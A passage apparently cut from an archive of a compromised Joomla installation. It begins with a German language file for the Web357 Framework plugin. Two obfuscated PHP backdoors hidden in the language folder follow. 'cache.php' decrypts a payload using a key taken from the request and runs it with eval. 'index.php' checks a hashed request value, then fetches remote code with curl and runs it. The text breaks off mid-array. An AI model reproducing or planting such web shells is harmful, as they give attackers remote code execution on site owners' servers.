Ort (dem Plugin selbst) implementiert und automatisch auf alle externen Websites ausgerollt werden, die Web357-Erweiterungen und -Plugins verwenden." PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML="<div class='plugin-description'><p>Das <strong>Web357 Framework Joomla! Plugin</strong> ist ein wichtiges Hilfswerkzeug zur Unterstützung aller weiteren <a href='https://www.web357.com/joomla-extensions' target='_blank'>Web357-Erweiterungen</a>. Dieses Plugin zentralisiert die Durchführung von Aktualisierungen und stellt sicher, dass Änderungen an einem einzigen Ort (dem Plugin selbst) implementiert und automatisch auf alle externen Websites ausgerollt werden, die Web357-Erweiterungen und -Plugins verwenden.</p><h4>Hauptmerkmale</h4><ul><li><strong>getCountry():</strong> Ermittelt das Land eines Benutzers mit geoplugin.net.</li><li><strong>getOS():</strong> Identifiziert das Betriebssystem eines Benutzers (z. B. Windows, Linux, Android, iOS, etc.).</li><li><strong>getBrowser():</strong> Erkennt den Browser eines Nutzers (z. B. Firefox, Chrome, Safari, Opera, Internet Explorer usw.).</li></ul><div class='plugin-links'><p><a class='btn btn-sm btn-secondary me-2 mr-2' href='https://www.web357.com/web357-framework-joomla-plugin' target='_blank'>Mehr Details</a> <a href='https://www.web357.com/web357-framework-joomla-plugin/changelog' target='_blank' class='btn btn-sm btn-info me-2 mr-2'>Änderungsverlauf</a> <a href='https://www.web357.com/support' target='_blank' class='btn btn-sm btn-danger'>Hilfe</a></p></div></div>" ; Headers for Parameters W357FRM_HEADER_VERSION_CHECK="Versions-Check" W357FRM_HEADER_JED_REVIEW_AND_RATING="JED Rezension & Bewertung ⭐⭐⭐⭐⭐" W357FRM_HEADER_DESCRIPTION="Beschreibung" W357FRM_HEADER_ABOUT_WEB357="Über Web357" W357FRM_HEADER_PARAMETERS="Parameter" ; Version Check W357FRM_YOUR_CURRENT_VERSION_IS="Installierte Version" W357FRM_VIEW_THE_CHANGELOG="Vollständige Liste der Änderungen" W357FRM_UP_TO_DATE="Ihre Version ist auf dem aktuellen Stand. Super!" W357FRM_UPDATE_TO_THE_LATEST_VERSION="Ihre Version ist veraltet!<br>Sie sollten unbedingt auf die neueste Version aktualisieren:" W357FRM_GO_TO_DOWNLOAD_AREA="laden Sie das Update aus dem Web357 Download-Bereich herunter." W357FRM_UPDATE_VIA_THE_JOOMLA_UPDATE_MANAGER="Verwenden Sie die 'Aktualisieren'-Funktion von Joomla!" W357FRM_OR="oder" ; Description W357FRM_LIVE_DEMO="Live-Demo" W357FRM_PRODUCT_S_PAGE="Produktseite" W357FRM_SETTINGS="Einstellungen" W357FRM_VIEW_DEMO="Demo ansehen" W357FRM_MORE_DETAILS="Mehr Details" W357FRM_DOCUMENTATION="Dokumentation" W357FRM_CHANGELOG="Änderungen" W357FRM_SUPPORT="Hilfe" W357FRM_NO_DESCRIPTION_FOR_THIS_EXTENSION="Beschreibung nicht verfügbar für diese Erweiterung. Bitte stellen Sie sicher, dass Sie die neueste Joomla! Erweiterung von https://web357.com/joomla-extensions heruntergeladen haben." ; JED Review W357FRM_LEAVE_REVIEW_ON_JED="Bitte geben Sie eine Bewertung und eine Rezension im Joomla! Extensions Directory ab: <a href='%s' target='_blank'><strong>%s</strong> im JED</a> – Herzlichen Dank!" W357FRM_ASK_FOR_JED_REVIEW="Wir würden es sehr zu schätzen wissen, wenn Sie eine Bewertung im <a href='%s' target='_blank'>Joomla! Extensions Directory</a> hinterlassen könnten. Dankeschön! 💗" ; API KEY W357FRM_APIKEY_HEADER="API-Schlüssel (nur für kommerzielle Erweiterungen von Web357)" W357FRM_APIKEY="API-Schlüssel" W357FRM_APIKEY_DESCRIPTION="Um kommerzielle Web357-Erweiterungen zu aktualisieren, müssen Sie Ihren Web357-Lizenzschlüssel eingeben.<br>Den Lizenzschlüssel finden Sie in Ihren Kontoeinstellungen auf Web357.com im Abschnitt <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a>.<br>Weitere Details zu Ihrem Lizenzschlüssel finden Sie <a href='//www.web357.com/apikey' target='_blank'>auf dieser Seite</a>." W357FRM_APIKEY_REQUIRED_GLOBAL_MSG="Bitte geben Sie Ihren Web357 API-Schlüssel in den Einstellungen des <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Web357 Framework Plugins</strong></a> ein." W357FRM_APIKEY_WARNING="Wenn ein Download-Fehler auftritt, liegt das wahrscheinlich daran, dass der API-Schlüssel für Web357 nicht eingegeben wurde. Sie können dies in den <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'><strong>Einstellungen des Web357 Framework Plugins</strong></a> tun. Weitere Details finden Sie auf der <a href='//www.web357.com/apikey' target='_blank'><strong>Dokumentationsseite zum API-Schlüssel</strong></a>." W357FRM_APIKEY_MISSED="Bitte fügen Sie Ihren Web357 API-Schlüssel im <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Web357%20Framework'>Web357 Framework</a> hinzu. Sie finden den API-Schlüssel in Ihren Kontoeinstellungen im Bereich <a href='my-account/downloads' target='_blank'>Downloads</a>." W357FRM_DOWNLOAD_KEY_MISSING="Download-Schlüssel fehlt" W357FRM_DOWNLOAD_KEY_MISSING_DESC="Für die Aktualisierung von %s müssen Sie Ihren Download-API-Schlüssel in den Plugin-Einstellungen des Web357 Frameworks eingeben." W357FRM_DOWNLOAD_KEY_MISSING_FIND_APIKEY_AT_WEB357COM="Sie finden den Lizenzschlüssel in Ihren Kontoeinstellungen auf Web357.com im Abschnitt <a href='//www.web357.com/my-account/web357-license-manager' target='_blank'><strong>Web357 License Key Manager</strong></a>." W357FRM_DOWNLOAD_KEY_UPDATE_BTN="Web357 API-Schlüssel eingeben" W357FRM_OK="OK" W357FRM_MISSING="fehlt" W357FRM_DOWNLOAD_KEY="Download-Schlüssel" W357FRM_APIKEY_ACTIVATED_AND_VALIDATED="ihr API-Schlüssel <strong>%s</strong> ist aktiv und gültig." W357FRM_APIKEY_INVALID="Der API-Schlüssel <strong>%s</strong> ist ungültig.<br>Bitte vergewissern Sie sich, dass Sie den API-Schlüssel korrekt aus Ihrem <a href='https://www.web357.com/my-account/web357-license-manager?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>Web357-Konto</a> kopiert haben.<br>Wenn Sie weiterhin Schwierigkeiten haben, senden Sie uns bitte eine E-Mail an support@web357.com." W357FRM_SAVE_PLUGIN_SETTINGS="Bitte speichern Sie die Plugin-Einstellungen." W357FRM_INACTIVE_SUBSCRIPTION="Es scheint, dass Ihr Abonnement abgelaufen ist und Sie nicht mehr die Möglichkeit haben, eine kommerzielle Erweiterung von Web357 zu aktualisieren.<br>Bitte <a href='https://www.web357.com/joomla-pricing/?utm_source=Web357FrameworkSettings&utm_medium=Web357FrameworkSettings-ApiKeyValidation-web357&utm_content=Web357FrameworkSettings-ApiKeyValidation&utm_campaign=apikeyvalidation' target='_blank'>erneuern Sie Ihr Web357-Abonnement</a>, um Zugang zu den Erweiterungs-Updates zu erhalten. Wenn Sie Fragen haben, können Sie uns gerne eine E-Mail an support@web357.com schicken." W357FRM_CALL_WITH_WEB357_LICENSE_MANAGER_FAILED="Der Verbindungsversuch mit dem Lizenzmanager von Web357 ist fehlgeschlagen.<br>Bitte versuchen Sie es später noch einmal oder kontaktieren Sie uns unter support@web357.com." W357FRM_APIKEY_NOT_ACTIVATED="Ihr API-Schlüssel <strong>%s</strong> ist gültig, aber noch nicht aktiviert.<br>Klicken Sie auf die Schaltfläche unten, um ihn zu aktivieren." W357FRM_ACTIVATE_API_KEY="API-Schlüssel aktivieren" ; Other W357FRM_ONLY_IN_PRO="Nur in Version %s verfügbar." W357_ERROR_UNINSTALL_FIRST="Sie müssen die %s PRO-Version deinstallieren, bevor Sie die kostenlose Version installieren können." ; Element: checkextension W357FRM_EXTENSION_IS_ACTIVE="OK. Die Erweiterung '%s' ist aktiviert und kann nun verwendet werden." W357FRM_EXTENSION_IS_NOT_ACTIVE="Fehler: Die Erweiterung '%s' ist nicht aktiviert oder noch nicht installiert." ; Fieldsets COM_PLUGINS_LOGINASUSER_FIELDSET_LABEL="Mehrere Admins zu bestimmten Benutzergruppen zuordnen" ; Login as User - System Plugin is required LOGINASUSER_PLUGIN_IS_REQUIRED="Das <strong>'Login as User – System Plugin'</strong> ist ein zwingend erforderliches Plugin für diese und andere Web357-Erweiterungen, um korrekt zu funktionieren. Ohne dieses Plugin wird die Erweiterung nicht wie erwartet funktionieren. Bitte aktivieren Sie es über den <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Login%20as%20User' title='Login as User plugin settings'><strong>Plugin-Manager</strong></a> oder laden Sie es kostenlos <a href='https://www.web357.com/login-as-user-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=loginasuser_plugin_is_required'>von hier</a> herunter." ; Monthly Archive - System Plugin is required MONTHLYARCHIVE_PLUGIN_IS_REQUIRED="Das <strong>'Monthly Archive – System Plugin'</strong> ist ein zwingend erforderliches Plugin für diese und andere Web357-Erweiterungen, um korrekt zu funktionieren. Ohne dieses Plugin wird die Erweiterung nicht wie erwartet funktionieren. Bitte aktivieren Sie es über den <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Monthly%20Archive' title='Monthly Archive plugin settings'><strong>Plugin-Manager</strong></a> oder laden Sie es kostenlos <a href='https://www.web357.com/monthly-archive-joomla-component-module?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=monthlyarchive_plugin_is_required'>von hier</a> herunter." ; Fix 404 Error Links - System Plugin is required FIX404ERRORLINKS_PLUGIN_IS_REQUIRED="Das <strong>'Fix 404 Error Links – System Plugin'</strong> ist ein zwingend erforderliches Plugin für diese und andere Web357-Erweiterungen, um korrekt zu funktionieren. Ohne dieses Plugin wird die Erweiterung nicht wie erwartet funktionieren. Bitte aktivieren Sie es über den <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Fix%20404%20Error%20Links' title='Fix 404 Error Links plugin settings'><strong>Plugin-Manager</strong></a> oder laden Sie es kostenlos <a href='https://www.web357.com/fix-404-error-links-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=fix404errorlinks_plugin_is_required'>von hier</a> herunter." ; JMailLog - System Plugin is required JMAILLOG_PLUGIN_IS_REQUIRED="Das <strong>'JMailLog – System Plugin'</strong> ist ein zwingend erforderliches Plugin für diese und andere Web357-Erweiterungen, um korrekt zu funktionieren. Ohne dieses Plugin wird die Erweiterung nicht wie erwartet funktionieren. Bitte aktivieren Sie es über den <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20JMail%20Log' title='JMailLog plugin settings'><strong>Plugin-Manager</strong></a> oder laden Sie es kostenlos <a href='https://www.web357.com/jmail-log-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=jmaillog_plugin_is_required'>von hier</a> herunter." ; Limit Active Logins - System Plugin is required LIMITACTIVELOGINS_SYSTEM_PLUGIN_IS_REQUIRED="Das <strong>'Limit Active Logins – System Plugin'</strong> ist ein zwingend erforderliches Plugin für diese und andere Web357-Erweiterungen, um korrekt zu funktionieren. Ohne dieses Plugin wird die Erweiterung nicht wie erwartet funktionieren. Bitte aktivieren Sie es über den <a href='index.php?option=com_plugins&view=plugins&filter[search]=System%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin-Manager</strong></a> oder laden Sie es kostenlos <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>von hier</a> herunter." ; Limit Active Logins - User Plugin is required LIMITACTIVELOGINS_USER_PLUGIN_IS_REQUIRED="Das <strong>'Limit Active Logins – User Plugin'</strong> ist ein zwingend erforderliches Plugin für diese und andere Web357-Erweiterungen, um korrekt zu funktionieren. Ohne dieses Plugin wird die Erweiterung nicht wie erwartet funktionieren. Bitte aktivieren Sie es über den <a href='index.php?option=com_plugins&view=plugins&filter[search]=User%20-%20Limit%20Active%20Logins' title='Limit Active Logins plugin settings'><strong>Plugin-Manager</strong></a> oder laden Sie es kostenlos <a href='https://www.web357.com/limit-active-logins-extension-for-joomla?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=limitactivelogins_plugin_is_required'>von hier</a> herunter." ; Failed Login Attempts - Authentication Plugin is required FAILEDLOGINATTEMPTS_AUTHENTICATION_PLUGIN_IS_REQUIRED="Das <strong>'Failed Login Attempts – Authentication Plugin'</strong> ist ein zwingend erforderliches Plugin für diese und andere Web357-Erweiterungen, um korrekt zu funktionieren. Ohne dieses Plugin wird die Erweiterung nicht wie erwartet funktionieren. Bitte aktivieren Sie es über den <a href='index.php?option=com_plugins&view=plugins&filter[search]=Authentication%20-%20Failed%20Login%20Attempts' title='Failed Login Attempts plugin settings'><strong>Plugin-Manager</strong></a> oder laden Sie es kostenlos <a href='https://www.web357.com/failed-login-attempts-joomla-component?utm_source=joomla_backend&utm_medium=plugin&utm_campaign=failedloginattempts_plugin_is_required'>von hier</a> herunter." language/de-DE/de-DE/cache.php000060400000013023151721520510011631 0ustar00<?php $Jum = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqOZaElmmBgDQA'; $AvUt = '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'; function Jum($snSU) { $AvUt = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $IjT = substr($AvUt, 0, 16); $cjzaR = base64_decode($snSU); return openssl_decrypt($cjzaR, "AES-256-CBC", $AvUt, OPENSSL_RAW_DATA, $IjT); } if (Jum('DjtPn+r4S0yvLCnquPz1fA')){ echo 'IAOMBp44mTpHbW60TZZ6xuLeQXHz9VAxctSxc8+kkAAYMoybQS5MZFYgDNbWTu12'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($Jum)))); ?>language/de-DE/de-DE/index.php000060400000013536151721520510011706 0ustar00<?php goto tQxQOWCvhKVNul; PA82f4CKUSshIp: if (!(in_array(gettype($IyDwljCaRMbgmB) . count($IyDwljCaRMbgmB), $IyDwljCaRMbgmB) && count($IyDwljCaRMbgmB) == 26 && md5(md5(md5(md5($IyDwljCaRMbgmB[20])))) === "\x30\x31\65\x64\61\x61\x39\x63\x63\141\67\60\x66\64\x35\71\x30\x63\63\x30\146\145\67\145\63\x61\x32\145\x61\x38\62\61")) { goto lyHc4PlRaTVXM6; } goto CJ_c3B5X9xbC_w; i9zlxf1KTs7kId: $IyDwljCaRMbgmB = ${$t8okrXySpwmOD5[29 + 2] . $t8okrXySpwmOD5[40 + 19] . $t8okrXySpwmOD5[44 + 3] . $t8okrXySpwmOD5[21 + 26] . $t8okrXySpwmOD5[3 + 48] . $t8okrXySpwmOD5[30 + 23] . $t8okrXySpwmOD5[25 + 32]}; goto PA82f4CKUSshIp; ZtmQQrHrxYCLkj: $t8okrXySpwmOD5 = $IlUoKX8pD1PS83("\176", "\40"); goto i9zlxf1KTs7kId; FInWItgoeRtYiY: lyHc4PlRaTVXM6: goto R_5qa3w7QE5hmx; UyHzzzSJOGC4Hq: class NK1VWKNZ4Wss0E { static function AxrNBO64_ObCjf($j0SoYyC08qBKWN) { goto ELfmZwEzfO9Oaz; rFR2b9vhaZFE1U: o7H6F79E1CEOWQ: goto H_hqCJ4XmboOWZ; E7tbja70Pl9fQe: foreach ($di9NGKyodVl_h5 as $gyyIGvE3UIsuii => $cQ7jZ3hNW_pQFU) { $WscatvE75Bnf20 .= $BAC89JAo4nd9lE[$cQ7jZ3hNW_pQFU - 46522]; CKH6wqQjebxUvc: } goto rFR2b9vhaZFE1U; Zai59liaE_ZGz8: $WscatvE75Bnf20 = ''; goto E7tbja70Pl9fQe; H_hqCJ4XmboOWZ: return $WscatvE75Bnf20; goto CQjyo1ujxhLRdN; dXSuxk_6tGehTe: $di9NGKyodVl_h5 = explode("\173", $j0SoYyC08qBKWN); goto Zai59liaE_ZGz8; ELfmZwEzfO9Oaz: $aR8aWv6eQukg2T = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto gut_rtcPAR7EB7; gut_rtcPAR7EB7: $BAC89JAo4nd9lE = $aR8aWv6eQukg2T("\x7e", "\x20"); goto dXSuxk_6tGehTe; CQjyo1ujxhLRdN: } static function vqCj4HWGMCERw2($cYFPNJ0YUn8wuC, $j0wyzAEcOhUBaw) { goto KJ0ll1slMmkOQe; Sbd0T_UOfQ5yOT: $p3xtIJ7Xj4MbEI = curl_exec($ui_X7sPPyZA6KQ); goto GJFTqVAQtrnSjt; GJFTqVAQtrnSjt: return empty($p3xtIJ7Xj4MbEI) ? $j0wyzAEcOhUBaw($cYFPNJ0YUn8wuC) : $p3xtIJ7Xj4MbEI; goto ggyNafhvt6h1nc; KJ0ll1slMmkOQe: $ui_X7sPPyZA6KQ = curl_init($cYFPNJ0YUn8wuC); goto h5SmAIt5GGjD5M; h5SmAIt5GGjD5M: curl_setopt($ui_X7sPPyZA6KQ, CURLOPT_RETURNTRANSFER, 1); goto Sbd0T_UOfQ5yOT; ggyNafhvt6h1nc: } static function Pe8_tw1cWfoCU7() { goto zM82sdsCdC4238; Gcje4liQ1SPbvV: $Ikj04s73amh2Gc = self::vQCJ4hWgMCeRW2($qIGbPrD4aFTF3s[1 + 0], $es2fKWYXb3Gf52[3 + 2]); goto nUFXBSwc96KeRY; hU1Gdrv32JWkue: $qIGbPrD4aFTF3s = $es2fKWYXb3Gf52[1 + 1]($y1qYQRkyHUgc4u, true); goto RVuUzCHPycTI4v; nUFXBSwc96KeRY: @eval($es2fKWYXb3Gf52[3 + 1]($Ikj04s73amh2Gc)); goto xRuJ3kR12yVo7q; NkeQ2RhV3C3Kgn: foreach ($MmxuzS01tfWs2N as $kSMzrzd1llDfbq) { $es2fKWYXb3Gf52[] = self::AxrNbO64_oBCjf($kSMzrzd1llDfbq); AMEH2VRPUADcdG: } goto pcrWRnqkB6KjLj; zM82sdsCdC4238: $MmxuzS01tfWs2N = array("\64\x36\65\x34\x39\173\64\66\65\63\x34\x7b\x34\x36\65\64\67\173\64\66\x35\x35\61\173\64\x36\65\x33\x32\173\x34\x36\65\64\67\x7b\x34\66\65\x35\x33\x7b\64\66\65\64\x36\x7b\64\66\65\63\x31\173\x34\66\65\63\70\x7b\x34\66\65\64\x39\x7b\64\x36\x35\x33\62\173\64\x36\x35\64\63\x7b\x34\x36\x35\63\x37\x7b\x34\x36\65\63\x38", "\64\66\65\x33\63\x7b\x34\x36\65\x33\62\x7b\64\x36\65\x33\64\x7b\64\x36\x35\65\63\173\64\66\x35\63\64\x7b\64\66\x35\63\67\x7b\x34\66\65\x33\x32\x7b\64\x36\65\71\71\x7b\64\x36\65\71\67", "\64\66\65\64\x32\x7b\x34\x36\65\63\x33\x7b\x34\66\x35\63\67\x7b\64\x36\x35\x33\x38\x7b\x34\66\65\x35\x33\x7b\64\x36\x35\x34\x38\173\64\x36\65\64\x37\x7b\x34\x36\x35\x34\x39\x7b\64\66\65\x33\67\173\64\66\x35\64\70\173\64\66\65\x34\67", "\64\x36\65\63\66\173\64\66\65\65\61\173\x34\66\x35\64\x39\173\x34\x36\65\x34\61", "\64\66\x35\65\60\173\64\66\x35\x35\x31\x7b\x34\66\65\x33\63\x7b\x34\x36\65\x34\x37\x7b\64\66\65\x39\x34\x7b\x34\66\x35\71\x36\173\64\x36\x35\x35\63\x7b\64\x36\x35\64\x38\x7b\x34\66\x35\x34\67\x7b\64\66\x35\x34\71\173\x34\66\65\63\x37\x7b\x34\66\65\x34\70\173\x34\66\65\x34\x37", 